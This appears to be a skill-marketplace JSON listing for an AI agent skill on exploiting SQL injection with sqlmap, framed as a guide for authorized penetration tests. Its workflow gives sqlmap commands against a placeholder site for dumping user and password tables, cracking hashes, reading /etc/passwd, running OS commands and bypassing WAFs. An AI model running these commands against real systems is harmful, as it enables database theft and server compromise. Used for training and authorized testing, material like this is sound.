[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HF3QVASPXH0ADDA355JCM2":3,"skill-same:01M6HF3QVASPXH0ADDA355JCM2":114},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":75,"commitSha":76,"skillDirectory":77,"forksCount":78,"repositoryHtmlUrl":79,"repositoryHomepageUrl":6,"ownerHtmlUrl":80,"ownerBlogUrl":6,"ownerDescription":81,"updatedAt":82,"install":83,"resources":96},"01M6HF3QVASPXH0ADDA355JCM2","exploiting-sql-injection-with-sqlmap",null,"Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-sql-injection-with-sqlmap\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"sql injection","sql","with","injection","sqlmap","exploiting sql injection with sqlmap","exploiting sql injection vulnerabilities","detecting","penetration","de","007","cm","t1505","testing","SQL-injection","database-security","owasp","database","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-sql-injection-with-sqlmap\ndescription: Detecting and exploiting SQL injection vulnerabilities using sqlmap to extract database contents during authorized penetration tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- sql-injection\n- sqlmap\n- owasp\n- database-security\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\ncategory: exploiting-sql-injection-with-sqlmap\n---\n# Exploiting SQL Injection with sqlmap\n\n## When to Use\n\n- During authorized web application penetration testing engagements\n- When manual testing reveals potential SQL injection points in parameters, headers, or cookies\n- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP\n- When you need to demonstrate the impact of SQL injection by extracting data from backend databases\n- During CTF challenges involving SQL injection exploitation\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target\n- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux\n- **Python 3.6+**: Required runtime for sqlmap\n- **Burp Suite** (optional): For capturing and replaying HTTP requests\n- **Target access**: Network connectivity to the target web application\n- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests\n\n## Workflow\n\n### Step 1: Identify Potential Injection Points\n\nManually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.\n\n```bash\n# Start Burp Suite proxy and capture requests\n# Look for parameters in URLs, POST bodies, cookies, and headers\n# Example target URL with a suspected injectable parameter:\n# https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\n\n# Test manually for basic SQL injection indicators\ncurl -k \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1'\"\n# Look for SQL error messages like:\n# - \"You have an error in your SQL syntax\"\n# - \"ORA-01756: quoted string not properly terminated\"\n# - \"Microsoft SQL Native Client error\"\n```\n\n### Step 2: Run sqlmap Basic Detection Scan\n\nLaunch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.\n\n```bash\n# Basic GET parameter test\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --batch --random-agent\n\n# For POST requests (save the request from Burp Suite to a file)\nsqlmap -r request.txt --batch --random-agent\n\n# Test specific parameter in a POST request\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  --data=\"username=admin&password=test\" \\\n  -p \"username\" --batch --random-agent\n\n# Test with cookie-based injection\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\" \\\n  --cookie=\"session=abc123; user_id=5\" \\\n  -p \"user_id\" --batch --random-agent\n```\n\n### Step 3: Enumerate Database Structure\n\nOnce injection is confirmed, enumerate databases, tables, and columns.\n\n```bash\n# List all databases\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --dbs --batch --random-agent\n\n# List tables in a specific database\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db --tables --batch --random-agent\n\n# List columns in a specific table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --columns --batch --random-agent\n```\n\n### Step 4: Extract Data from Target Tables\n\nDump the contents of sensitive tables to demonstrate impact.\n\n```bash\n# Dump specific columns from a table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password,email\" \\\n  --dump --batch --random-agent\n\n# Dump with row limit to avoid excessive data extraction\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump --start=1 --stop=10 \\\n  --batch --random-agent\n\n# Attempt to crack password hashes automatically\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password\" \\\n  --dump --batch --passwords --random-agent\n```\n\n### Step 5: Test for Advanced Exploitation Vectors\n\nAssess the full impact by testing OS-level access and file operations.\n\n```bash\n# Check current database user and privileges\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --current-user --current-db --is-dba --batch --random-agent\n\n# Attempt to read server files (if DBA privileges exist)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --file-read=\"\u002Fetc\u002Fpasswd\" --batch --random-agent\n\n# Attempt OS command execution (MySQL with FILE privilege)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --os-cmd=\"whoami\" --batch --random-agent\n```\n\n### Step 6: Use Tamper Scripts to Bypass WAF\u002FFilters\n\nWhen Web Application Firewalls or input filters block basic payloads, use tamper scripts.\n\n```bash\n# Common tamper scripts for WAF bypass\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"space2comment,between,randomcase\" \\\n  --batch --random-agent\n\n# For specific WAF bypass (e.g., ModSecurity)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"modsecurityversioned,modsecurityzeroversioned\" \\\n  --batch --random-agent\n\n# List all available tamper scripts\nsqlmap --list-tampers\n```\n\n### Step 7: Generate Report and Clean Up\n\nDocument findings and clean up any artifacts.\n\n```bash\n# sqlmap stores results in ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002F\n# Review the target output directory\nls -la ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002Ftarget.example.com\u002F\n\n# Export results with specific output directory\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump \\\n  --output-dir=\"\u002Ftmp\u002Fpentest-results\" \\\n  --batch --random-agent\n\n# Clean sqlmap session data after engagement\nsqlmap --purge\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |\n| **Blind Boolean SQLi** | Infers data one bit at a time by observing true\u002Ffalse application responses |\n| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |\n| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |\n| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT\u002FUPDATE\u002FDELETE operations |\n| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |\n| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |\n| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **sqlmap** | Automated SQL injection detection and exploitation framework |\n| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |\n| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |\n| **Havij** | Automated SQL injection tool with GUI (Windows) |\n| **jSQL Injection** | Java-based GUI tool for SQL injection testing |\n| **DBeaver\u002FDataGrip** | Database clients for verifying extracted data structure |\n\n## Common Scenarios\n\n### Scenario 1: E-commerce Product Page SQLi\nA product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.\n\n### Scenario 2: Login Form Bypass\nA login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.\n\n### Scenario 3: Search Function with WAF Protection\nA search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.\n\n### Scenario 4: Cookie-based Blind SQL Injection\nA session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.\n\n## Output Format\n\n```\n## SQL Injection Finding\n\n**Vulnerability**: SQL Injection (Union-based)\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET parameter `id` at \u002Fproducts?id=1\n**Database**: MySQL 8.0.32\n**Impact**: Full database read access, 15,000 user records exposed\n**OWASP Category**: A03:2021 - Injection\n\n### Evidence\n- Injection point: `id` parameter (GET)\n- Technique: UNION query-based\n- Backend DBMS: MySQL >= 5.0\n- Current user: app_user@localhost\n- DBA privileges: No\n\n### Databases Enumerated\n1. information_schema\n2. target_app_db\n3. mysql\n\n### Sensitive Data Exposed\n- Table: users (15,247 rows)\n- Columns: id, username, email, password_hash, created_at\n\n### Recommendation\n1. Use parameterized queries (prepared statements) for all database interactions\n2. Implement input validation with allowlists for expected data types\n3. Apply least-privilege database permissions for the application user\n4. Deploy a Web Application Firewall as defense-in-depth\n5. Enable database query logging and monitoring for anomalous patterns\n```\n","# Exploiting SQL Injection with sqlmap\n\n## When to Use\n\n- During authorized web application penetration testing engagements\n- When manual testing reveals potential SQL injection points in parameters, headers, or cookies\n- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP\n- When you need to demonstrate the impact of SQL injection by extracting data from backend databases\n- During CTF challenges involving SQL injection exploitation\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target\n- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux\n- **Python 3.6+**: Required runtime for sqlmap\n- **Burp Suite** (optional): For capturing and replaying HTTP requests\n- **Target access**: Network connectivity to the target web application\n- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests\n\n## Workflow\n\n### Step 1: Identify Potential Injection Points\n\nManually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.\n\n```bash\n# Start Burp Suite proxy and capture requests\n# Look for parameters in URLs, POST bodies, cookies, and headers\n# Example target URL with a suspected injectable parameter:\n# https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\n\n# Test manually for basic SQL injection indicators\ncurl -k \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1'\"\n# Look for SQL error messages like:\n# - \"You have an error in your SQL syntax\"\n# - \"ORA-01756: quoted string not properly terminated\"\n# - \"Microsoft SQL Native Client error\"\n```\n\n### Step 2: Run sqlmap Basic Detection Scan\n\nLaunch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.\n\n```bash\n# Basic GET parameter test\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --batch --random-agent\n\n# For POST requests (save the request from Burp Suite to a file)\nsqlmap -r request.txt --batch --random-agent\n\n# Test specific parameter in a POST request\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Flogin\" \\\n  --data=\"username=admin&password=test\" \\\n  -p \"username\" --batch --random-agent\n\n# Test with cookie-based injection\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fdashboard\" \\\n  --cookie=\"session=abc123; user_id=5\" \\\n  -p \"user_id\" --batch --random-agent\n```\n\n### Step 3: Enumerate Database Structure\n\nOnce injection is confirmed, enumerate databases, tables, and columns.\n\n```bash\n# List all databases\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" --dbs --batch --random-agent\n\n# List tables in a specific database\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db --tables --batch --random-agent\n\n# List columns in a specific table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --columns --batch --random-agent\n```\n\n### Step 4: Extract Data from Target Tables\n\nDump the contents of sensitive tables to demonstrate impact.\n\n```bash\n# Dump specific columns from a table\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password,email\" \\\n  --dump --batch --random-agent\n\n# Dump with row limit to avoid excessive data extraction\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump --start=1 --stop=10 \\\n  --batch --random-agent\n\n# Attempt to crack password hashes automatically\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users -C \"username,password\" \\\n  --dump --batch --passwords --random-agent\n```\n\n### Step 5: Test for Advanced Exploitation Vectors\n\nAssess the full impact by testing OS-level access and file operations.\n\n```bash\n# Check current database user and privileges\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --current-user --current-db --is-dba --batch --random-agent\n\n# Attempt to read server files (if DBA privileges exist)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --file-read=\"\u002Fetc\u002Fpasswd\" --batch --random-agent\n\n# Attempt OS command execution (MySQL with FILE privilege)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --os-cmd=\"whoami\" --batch --random-agent\n```\n\n### Step 6: Use Tamper Scripts to Bypass WAF\u002FFilters\n\nWhen Web Application Firewalls or input filters block basic payloads, use tamper scripts.\n\n```bash\n# Common tamper scripts for WAF bypass\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"space2comment,between,randomcase\" \\\n  --batch --random-agent\n\n# For specific WAF bypass (e.g., ModSecurity)\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  --tamper=\"modsecurityversioned,modsecurityzeroversioned\" \\\n  --batch --random-agent\n\n# List all available tamper scripts\nsqlmap --list-tampers\n```\n\n### Step 7: Generate Report and Clean Up\n\nDocument findings and clean up any artifacts.\n\n```bash\n# sqlmap stores results in ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002F\n# Review the target output directory\nls -la ~\u002F.local\u002Fshare\u002Fsqlmap\u002Foutput\u002Ftarget.example.com\u002F\n\n# Export results with specific output directory\nsqlmap -u \"https:\u002F\u002Ftarget.example.com\u002Fproducts?id=1\" \\\n  -D target_db -T users --dump \\\n  --output-dir=\"\u002Ftmp\u002Fpentest-results\" \\\n  --batch --random-agent\n\n# Clean sqlmap session data after engagement\nsqlmap --purge\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |\n| **Blind Boolean SQLi** | Infers data one bit at a time by observing true\u002Ffalse application responses |\n| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |\n| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |\n| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT\u002FUPDATE\u002FDELETE operations |\n| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |\n| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |\n| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **sqlmap** | Automated SQL injection detection and exploitation framework |\n| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |\n| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |\n| **Havij** | Automated SQL injection tool with GUI (Windows) |\n| **jSQL Injection** | Java-based GUI tool for SQL injection testing |\n| **DBeaver\u002FDataGrip** | Database clients for verifying extracted data structure |\n\n## Common Scenarios\n\n### Scenario 1: E-commerce Product Page SQLi\nA product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.\n\n### Scenario 2: Login Form Bypass\nA login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.\n\n### Scenario 3: Search Function with WAF Protection\nA search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.\n\n### Scenario 4: Cookie-based Blind SQL Injection\nA session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.\n\n## Output Format\n\n```\n## SQL Injection Finding\n\n**Vulnerability**: SQL Injection (Union-based)\n**Severity**: Critical (CVSS 9.8)\n**Location**: GET parameter `id` at \u002Fproducts?id=1\n**Database**: MySQL 8.0.32\n**Impact**: Full database read access, 15,000 user records exposed\n**OWASP Category**: A03:2021 - Injection\n\n### Evidence\n- Injection point: `id` parameter (GET)\n- Technique: UNION query-based\n- Backend DBMS: MySQL >= 5.0\n- Current user: app_user@localhost\n- DBA privileges: No\n\n### Databases Enumerated\n1. information_schema\n2. target_app_db\n3. mysql\n\n### Sensitive Data Exposed\n- Table: users (15,247 rows)\n- Columns: id, username, email, password_hash, created_at\n\n### Recommendation\n1. Use parameterized queries (prepared statements) for all database interactions\n2. Implement input validation with allowlists for expected data types\n3. Apply least-privilege database permissions for the application user\n4. Deploy a Web Application Firewall as defense-in-depth\n5. Enable database query logging and monitoring for anomalous patterns\n```\n",{"name":5,"tags":57,"author":61,"domain":50,"license":15,"version":62,"category":5,"nist_csf":63,"subdomain":68,"description":7,"mitre_attack":69},[58,59,36,48,47,60],"penetration-testing","sql-injection","web-security","mahipal","1.0",[64,65,66,67],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[70,71,72,73,74],"T1190","T1059.007","T1505.003","T1083","T1055","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Fexploiting-sql-injection-with-sqlmap",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":84,"prompt":94,"zipAvailable":95},[85,88,91],{"tool":86,"command":87},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill exploiting-sql-injection-with-sqlmap",{"tool":89,"command":90},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill exploiting-sql-injection-with-sqlmap",{"tool":92,"command":93},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill exploiting-sql-injection-with-sqlmap","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-sql-injection-with-sqlmap\u002FSKILL.md",true,[97,102,108],{"path":98,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-sql-injection-with-sqlmap\u002FLICENSE",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fapi-reference.md","REFERENCE","参考文档",2170,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-sql-injection-with-sqlmap\u002Freferences\u002Fapi-reference.md",{"path":109,"resourceType":110,"resourceTypeDesc":111,"sizeBytes":112,"sourceHtmlUrl":113},"scripts\u002Fagent.py","SCRIPT","脚本",8335,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fexploiting-sql-injection-with-sqlmap\u002Fscripts\u002Fagent.py",[115,141,166,188,204,223],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":122,"publishedAt":52},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[121],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[123,124,125,126,127,45,50,128,129,130,131,132,133,134,135,136,137,138,139,140],"integrity","backup","recovery","validating backup integrity for recovery","for","validate","verification","hash-verification","incident-response","ransomware","detection","t1078","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":147,"publishedAt":52},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[148,149,150,151,34,50,152,153,154,155,156,157,158,159,160,161,162,163,164,165],"vulnerabilities","framework","ssvc","triaging vulnerabilities with ssvc framework","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","vulnerability","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":170,"categories":171,"keywords":172,"publishedAt":52},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[51,173,138,50,174,175,176,134,135,177,178,179,180,181,182,183,184,185,186,187],"triaging security incident","actions","soc","NIST","analysis","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","conversion","isolation","scope","impact","consistency",{"skillNo":189,"name":190,"nameZh":6,"description":191,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":192,"categories":193,"keywords":194,"publishedAt":52},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[51,195,196,173,138,34,50,197,175,131,198,199,134,135,200,178,161,201,202,203],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":205,"name":206,"nameZh":6,"description":207,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":208,"categories":209,"keywords":210,"publishedAt":52},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[51,211,212,213,214,215,50,216,217,218,175,219,134,220,221,222,181,43,138,41],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review",{"skillNo":224,"name":225,"nameZh":6,"description":226,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":227,"categories":228,"keywords":229,"publishedAt":52},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[230,231,232,233,50,234,235,236,237,238,239,220,240,241,43,242,41,243,244,245],"infrastructure","tracking threat actor infrastructure","tracking","threat","monitoring","mitre-attack","threat-actor","threat-intelligence","command-and-control","dns","command","exploit","intelligence","domains","kit","hosts"]